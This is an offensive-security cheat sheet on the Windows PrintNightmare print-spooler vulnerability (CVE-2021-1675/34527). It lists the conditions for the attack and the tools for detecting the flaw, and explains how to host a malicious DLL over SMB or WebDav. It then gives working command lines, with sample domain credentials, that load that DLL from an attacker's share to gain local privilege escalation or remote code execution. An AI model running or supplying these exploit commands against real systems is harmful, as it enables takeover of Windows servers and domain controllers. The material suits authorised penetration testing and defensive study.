PrintNightmare
CVE-2021-1675 / CVE-2021-34527
The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\.
The exploit will execute the DLL either from the local filesystem or a remote share.
Requirements:
- Spooler Service enabled (Mandatory)
- Server with patches < June 2021
- DC with
Pre Windows 2000 Compatibilitygroup - Server with registry key
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall= (DWORD) 1 - Server with registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA= (DWORD) 0
Detect the vulnerability:
- Impacket - rpcdump
- It Was All A Dream
Payload Hosting:
- The payload can be hosted on Impacket SMB server since PR #1109:
- Using Invoke-BuildAnonymousSMBServer (Admin rights required on host):
- Using WebDav with SharpWebServer (Doesn't require admin rights):
When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.: \\172.16.1.5@8888\Downloads\beacon.dll
WebDav client must be activated on exploited target. By default it is not activated on Windows workstations (you have to net start webclient) and it's not installed on servers. Here is how to detect activated webdav:
Trigger the exploit:
- SharpNightmare
# require a modified Impacket: https://github.com/cube0x0/impacket python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll' python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll' ## LPE SharpPrintNightmare.exe C:\addCube.dll ## RCE using existing context SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20' ## RCE using runas /netonly SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123 - Invoke-Nightmare
- Mimikatz v2.2.0-20210709+
- PrintNightmare - @outflanknl
Debug informations
| Error | Message | Debug |
|---|---|---|
| 0x5 | rpc_s_access_denied |
Permissions on the file in the SMB share |
| 0x525 | ERROR_NO_SUCH_USER |
The specified account does not exist. |
| 0x180 | unknown error code | Share is not SMB2 |